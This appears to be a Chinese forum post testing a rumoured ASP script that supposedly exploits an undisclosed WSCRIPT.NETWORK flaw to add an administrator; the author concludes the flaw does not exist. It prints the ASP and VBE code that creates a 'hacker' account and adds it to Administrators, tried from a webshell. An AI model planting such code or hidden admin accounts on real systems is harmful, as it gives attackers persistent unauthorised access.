这个东东弄得沸沸扬扬,要是你还不知道的话就看看《添加超级用户的.asp代码》这文章吧。
作者也说了,“反正代码是对的,但是很少能成功,具体的看运气了”,偶也拿来在webshell上试了试,失败了。把容错语句去掉,看到错误原因是“权限不够”。今天没什么事,就来分析分析,说不定……嘿嘿。
他代码关键是这个:
set lp=Server.CreateObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.Create("user",username)
od.SetPassword passwd
od.SetInfo
oe.Add oz&"/"&username
无非是在asp中创建一个WSCRIPT.NETWORK对象,用这个对象添加用户提升为管理员。而按照他们的说法这是利用了.NETWORK对象本地权限提升漏洞(他们说这是MS没公布的)。嗯,那我把代码做成一个vbs脚本文件,拿到命令行下试试就知道了。
test.vbe(vbe比vbs更好;vbs的运行受到诸多限制)
--------------------------------------------
set lp=CreateObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.Create("user","hacker")
od.SetPassword test
od.SetInfo
oe.Add oz&"/"&"hacker"
-------------------------------------------
在admin权限下生成了hacker用户;user权限执行文件报错:拒绝访问。看来还是权限不够,即是说不存在所谓的MS未公布的“.NETWORK对象本地权限提升漏洞”——至少我这个XP SP1上不存在。你也可以把上面的代码保存为vbe拿到user权限下面试试其他系统是否存在这个bug,不过既然这asp成功的很少可能也不会存在。
上回日光海岸告诉我如果IIS开了认证这个asp就可以。我在本地把IIS的匿名访问关闭了,这个脚本果然可以工作。不过此时实际上你的浏览是具有管理员权限的。想想明明是关了匿名访问,为什么没有弹出对话框让你输用户密码呢?呵呵,你在本地自然集成windows基本验证,此时我是管理员,当然那些asp也继承了admin权限。不知道作者是不是在这里出错了呢?
我认为这个传说是错的,欢迎指教。先说好了——不准打脸^_^